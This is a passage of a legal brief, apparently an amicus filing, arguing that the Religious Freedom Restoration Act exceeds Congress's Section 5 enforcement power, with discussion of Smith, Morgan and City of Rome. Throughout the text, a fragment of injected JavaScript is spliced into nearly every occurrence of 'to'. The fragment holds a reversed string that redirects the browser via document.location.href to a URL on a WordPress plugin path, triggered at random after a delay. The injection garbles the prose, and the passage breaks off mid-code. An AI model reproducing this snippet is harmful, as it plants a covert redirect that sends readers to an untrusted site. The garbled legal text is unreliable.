intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the free exercise preserve safe from constitutional error. However Congress may act toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect religious liberty, it must not be permitted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enter this deeply important arena by undermining the courts’ authority toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to interpret the Constitution.

To restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore the balance of power between Congress and the Court intended by the Framers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ensure liberty, the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act must be struck down. 6

[45]

II.  THE RELIGIOUS FREEDOM RESTORATION ACT IS NOT A LEGITIMATE EXERCISE OF CONGRESS’S POWER UNDER SECTION 5 OF THE FOURTEENTH AMENDMENT

Section 5 of the Fourteenth Amendment states: “The Congress shall have power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce, by appropriate legislation, the provisions of this article.” U.S. Const. amend. XIV, § 5. “This article,” is the Fourteenth Amendment, which provides a set of constitutional guarantees against the states. By the plain language of Section 5, Congress may enforce only constitutional guarantees contemplated by the Fourteenth Amendment. 7 There is not the least intimation that Congress has the power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce its policy predilections beyond constitutional guarantees. See City of Rome, 446 U.S. at 206 (Rehnquist, J., dissenting); Mitchell, 400 U.S. at 152 (Harlan, J., concurring in part and dissenting in part). Congress’s attempt with RFRA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to force state and local governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religious conduct more than this Court has said the Constitution requires runs headlong over a dangerous precipice. 8 A decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to uphold RFRA would overruleThe Civil Rights Cases, 109 U.S. 3, 11 (1883), which were decided in the [46]  same era as the passage of the Fourteenth Amendment, and in which the Court stated that Section 5 “invests Congress with power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce it by appropriate legislation. To enforce what? To enforce the prohibition [found in the Fourteenth Amendment] . . .”

[47]

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act “does not [48]  profess toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be corrective of any constitutional wrong committed by the States; it does not make its operation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to depend upon any such wrong committed.” The Civil Rights Cases, 109 U.S. at 11. Indeed, the Act makes no pretense toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce only the constitutional guarantees against specifically targeted legislation recognized as unconstitutional in Smith and redressed in Lukumi. Smith, 494 U.S. at 872;Lukumi, 508 U.S. at 520. Rather, the Act was intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prohibit all substantial burdens on “a person’s exercise of religion even if the burden results from a rule of general applicabilty . . . .” 42 U.S.C. § 2000bb-1(a), Cert. Pet. App. at 40a. See also 42 U.S.C. § 2000bb(a)(4), Cert. Pet. App. at 39a (stating that Smith “eliminated the requirement that the government justify burdens on religious exercise imposed by laws neutral toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward religion . . . .”); H.R. Rep. No. 88, 103d Cong., 1st Sess. 1239 (1993) (“The test applies whenever a law or an action taken by the government toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to implement a law burdens a person’s exercise of religion.”). The purpose of the Act is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to supplant Smith, not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reinforce [49]  it. Thus, RFRA directs courts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce wholly extra-constitutional “rights,” moving it well beyond the preserve of Section 5 power.

A.  RFRA Is Unlike Any Other Statute

The various Section 5 arguments of RFRA’s defenders boil down toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one claim: the Court has upheld similar statutes before. That is, emphatically, untrue for two reasons.

First, and without a doubt, the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is in a class by itself. This is the first time Congress has attempted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preempt this Court’s declared standard of review. Never before has Congress attempted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take the reins from the Court over a clause of the First Amendment, or, for that matter, over any clause of the Constitution.

The only congressional action that bears a surface resemblance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to RFRA’s blatant attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trump this Court’s constitutional determination is the Human Life Bill, which was intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overrule Roe v. Wade, 410 U.S. 113 (1973). See The Human Life Bill, S. 158, 97th Cong., 1st Sess. (1981). That bill faltered in part because of concerns raised about the constitutionality of Congress overruling a decision by the Supreme Court. Senatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor Orrin Hatch, one of its primary sponsors,  [50]  refused toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vote in favor of the Bill on the grounds that it overturned this Court’s decision in Roe v. Wade, and therefore exceeded congressional authority under Section 5 of the Fourteenth Amendment. Staff of Subcomm. on Separation of Powers of Senate Comm. on the Judiciary, 97th Cong., 1st Sess., Report on Human Life Bill, S. 158, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together with additional and minority views 35 (Comm. Print 1981). RFRA, with its broad sweep, strays intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the judiciary’s terrain even more than the Human Life Bill, which affected only one issue — abortion — within the Court’s privacy doctrine. RFRA stands by itself.

Second, the cases on which RFRA’s defenders rely simply do not hold that Congress may reverse a Supreme Court decision by altering the standard of review in any, let alone all, cases.

B.  RFRA Is Inconsistent With the Enumerated Power Requirement Announced in M’Culloch v. Maryland

The test for determining whether a statute is consistent with the enumerated power requirement was announced by this Court in M’Culloch, 17 U.S. (4 Wheat.) at 421:

Let the end be legitimate, let it be within the scope of the constitution, and all means which are appropriate, which [51]  are plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that end, which are not prohibited, but consist with the letter and spirit of the constitution, are constitutional.

See also Ex Parte Virginia, 100 U.S. (10 Ottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to) 339 (1879). The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act fails all three prongs of the M’Culloch test applied by the Fifth Circuit.

 

1.  The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act Is Not Within the Scope of the Constitution

The Fifth Circuit erred in its holding that RFRA enforces guarantees toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be found in the Fourteenth Amendment. The court of appeals’ error lies in its failure toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grasp this Court’s free exercise doctrine. The court of appeals employs RFRA as its benchmark for constitutional protection, assuming that all substantial burdens on the exercise of religion autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically trigger constitutional protection. Flores, 73 F.3d at 1355. That view, however, is plainly rejected by this Court in Smith and Lukumi. See Smith, 494 U.S. at 881;Lukumi, 508 U.S. at 531. Neutral, generally applicable laws that incidentally burden religious exercise do not trigger close judicial review in free exercise cases. As Justice Scalia stated in his concurrence [52]  in Lukumi:

The terms “neutrality” and “general applicability” are not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be found within the First Amendment itself, of course, but are used in Employment Div., Dept. of Human Resources of Oregon v. Smith, and earlier cases toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to describe those characteristics which cause a law that prohibits an activity a particular individual wishes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to engage in for religious reasons nonetheless not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to constitute a “law . . . prohibiting the free exercise” of religion within the meaning of the First Amendment.

508 U.S. at 557 (Scalia, J., concurring in part and concurring in the judgment).

 

The guarantee against all substantial burdens on religious exercise is located in a congressional enactment, RFRA, not a constitutional source. As such, RFRA is not “within the scope of the constitution.” M’Culloch, 17 U.S. (4 Wheat) at 421.

2.  The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act Is Not Plainly Adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Achieve Constitutional Ends

Nor is RFRA “plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” constitutional ends. As the preceding discussion makes clear, RFRA is designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fill in a perceived gap in free exercise protection left open by Smith, not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce rights guaranteed by the Constitution.  [53]  The Fifth Circuit found this prong satisfied on the basis of this Court’s decisions in Katzenbach v. Morgan, 384 U.S. 641 (1966), and City of Rome v. United States, 446 U.S. 156 (1980), holding that Congress properly exercised its remedial power under Section 5 when it enacted RFRA. Flores, 73 F.3d at 1356-57. The remedial power found in these cases, however, does not justify RFRA.

Defenders of RFRA have also posited that RFRA is “plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to” constitutional ends because Section 5 gives Congress the power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expand the substantive scope of constitutional guarantees. This is the substantive power theory. The following discussion of Congress’s Section 5 power will first address the remedial power theory and then the substantive power theory.

a. The Remedial Power Theory. Congress offered no basis for the exercise of its power in RFRA other than Section 5, specifically citing the Voting Rights Act cases. 9 Section 5 gives Congress the power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “enforce” or remedy, constitutional guarantees secured by the Fourteenth Amendment. Congress missed the mark. The Voting Rights Act cases simply do not stand for the proposition that Congress may [54]  “remedy” potential constitutional violations by altering the standard of review in all cases raising a particular constitutional issue.

i. The Voting Rights Act Cases Do Not Support RFRA. The Voting Rights Act cases read Section 5’s remedial power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to permit Congress, when employing the Supreme Court’s previously announced standard, and on the basis of its superior factfinding capacity, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reach a conclusion under that standard at odds with Supreme Court determinations under the same standard. Under the Court’s broadest reading of the remedial power, Congress has been permitted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enact prophylactic legislation that bans actions not forbidden by the Constitution for the purpose of enforcing constitutional guarantees. RFRA treats that prophylactic power as a warrant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce ends not guaranteed by the Constitution and therefore exceeds Section 5. The Civil Rights Cases, 109 U.S. at 19.

This Court’s decision in Katzenbach v. Morgan, 384 U.S. 641 (1966), [55]  involved Section 4(e) of the Voting Rights Act of 1965, which provides that persons who have received a primary education in Puertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rico cannot be denied the right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vote. Id. The federal law was in direct conflict with New York’s law requiring English literacy as a condition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to vote, a law that was presumably not unconstitutional “on its face” under Lassiter v. Northamptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton County Board of Elections, 360 U.S. 45, 54 (1959). Section 4(e) was challenged by New York State as beyond Congress’s Section 5 power and in derogation of the Tenth Amendment. This Court upheld Section 4(e) as an exercise of Congress’s power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remedy Equal Protection violations, stating that “§ 5 is a positive grant of legislative power authorizing Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exercise its discretion in determining whether and what legislation is needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to secure the guarantees of the Fourteenth Amendment.” Morgan, 384 U.S. at 651 (emphasis added). See also id. at 652 (quoting Section 4(e) purpose “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to secure the rights under the fourteenth amendment”). This Court left toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress the power “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to assess and weigh the various conflicting considerations,” in determining whether constitutional [56]  guarantees were being infringed. Id. at 653.

The Court in Morgan did not hand Congress carte blanche toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overrule Supreme Court declarations of the appropriate standard of review in constitutional cases. Rather it stated that its decision in Lassiter was “inapposite,” Morgan, 384 U.S. at 649, when Congress is engaging its factfinding capacities toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect Equal Protection guarantees. RFRA, of course, protects extra-constitutional interests and therefore exceeds congressional authority. The Civil Rights Cases, 109 U.S. at 11.

In City of Rome, in addressing the reach of Congress’s power under Section 2 of the Fifteenth Amendment, the Court held, as in Morgan, that Congress could reach a factual conclusion at odds with a prior Supreme Court case. This Court upheld the Voting Rights Act’s ban on electoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toral changes discriminating in effect, even though Section 1 of the Amendment only prohibited intentional discrimination. City of Rome, 446 U.S. at 177. Congress rationally concluded that there existed significant risk of purposeful discrimination that justified the enactment of a marginally overbroad remedy. Id. at 173-78. [57]  Once again, in the context of a detailed statute addressing the specifics of voting practices, the Court expressed its willingness toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to permit Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cure a particular constitutional evil with means deduced from a factual record indicating a link between the congressional remedy and a constitutional guarantee. Id. at 179. RFRA bears no corresponding correlation. It is hardly a detailed plan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cure a particular constitutional evil; it is based on the thinnest of factfinding records, especially when compared toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its broad sweep; and it is aimed plainly at extra-constitutional evils.

Neither Morgan nor City of Rome provides precedent that supports the extraordinary exercise of power found in RFRA. 10 Even in the Court’s most expansive Section 5 cases, the remedial power has been limited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the exercise of superior factfinding skills in the context of applying the Court’s designated standard for constitutional violations. This Section 5 doctrine in no way creates a haven for RFRA’s bald rejection of the Court’s interpretation of the Free Exercise Clause of the First Amendment in all cases.

[58]

ii. Congress Made No Factfindings in Passing RFRA That Would Support Its Extreme Overenforcement of Religious Interests. Apparently, even Congress did not believe RFRA could be justified as an exercise of Congress’s remedial power. Despite being urged by Professor Laycock toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do so, see Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1991: Hearings on H.R. 2797 Before the Subcomm. on Civil and Constitutional Rights of the Committee on the Judiciary, House of Representatives, 102d Cong., 2d Sess. 357-58, 398 (1992), Congress engaged in no meaningful factfinding that would support the need for a congressional remedy in the free exercise arena. Indeed, Congress’s express “Findings” in the Act speak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its dissatisfaction with Smith, not the state of religious liberty in the United States. 42 U.S.C. § 2000bb, Cert. Pet. App. at 39a.

Congress simply did not ask what effect RFRA would have on the thousands, if not millions, of regulations that would be affected by RFRA, for example, regulations governing emergency medical care of children in imminent danger of dying or sustaining permanent disability, childhood immunization requirements, child support payments, state-mandated [59]  autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topsies, school safety laws governing the carrying of dangerous weapons, bankruptcy proceedings involving churches, the removal of Native American remains from church grounds, and every aspect of land use law. See, e.g., Cheema v. Thompson, 67 F.3d 883 (9th Cir. 1995) (holding that Sikh school-children must be permitted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to carry knives in violation of school rule against the carrying of dangerous weapons).

“The enactment of RFRA can in no sense be said toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to involve the ‘specially informed legislative competence’ of Congress.” Keeler v. Mayor & City of Council of Cumberland, 928 F. Supp. 591, 603 (D. Md. 1996). In fact, “Congress abdicated its responsibility toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to investigate the particular state action which might have the potential of unconstitutionally burdening the free exercise of religion . . . .” Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, 74 F.3d at 1567 (McMillian, J., dissenting).

Under the prophylactic theory of Morgan’s first rationale, this Court has not upheld congressional action that overenforces constitutional guarantees against the states in the absence of a histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the states’ unwillingness toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to comply with the constitutional standard. What “Congress has done [60]  through RFRA’s passage under the banner of § 5 is dramatically different from its exercise of § 5 power in Morgan or in any other case toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to date.” Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if 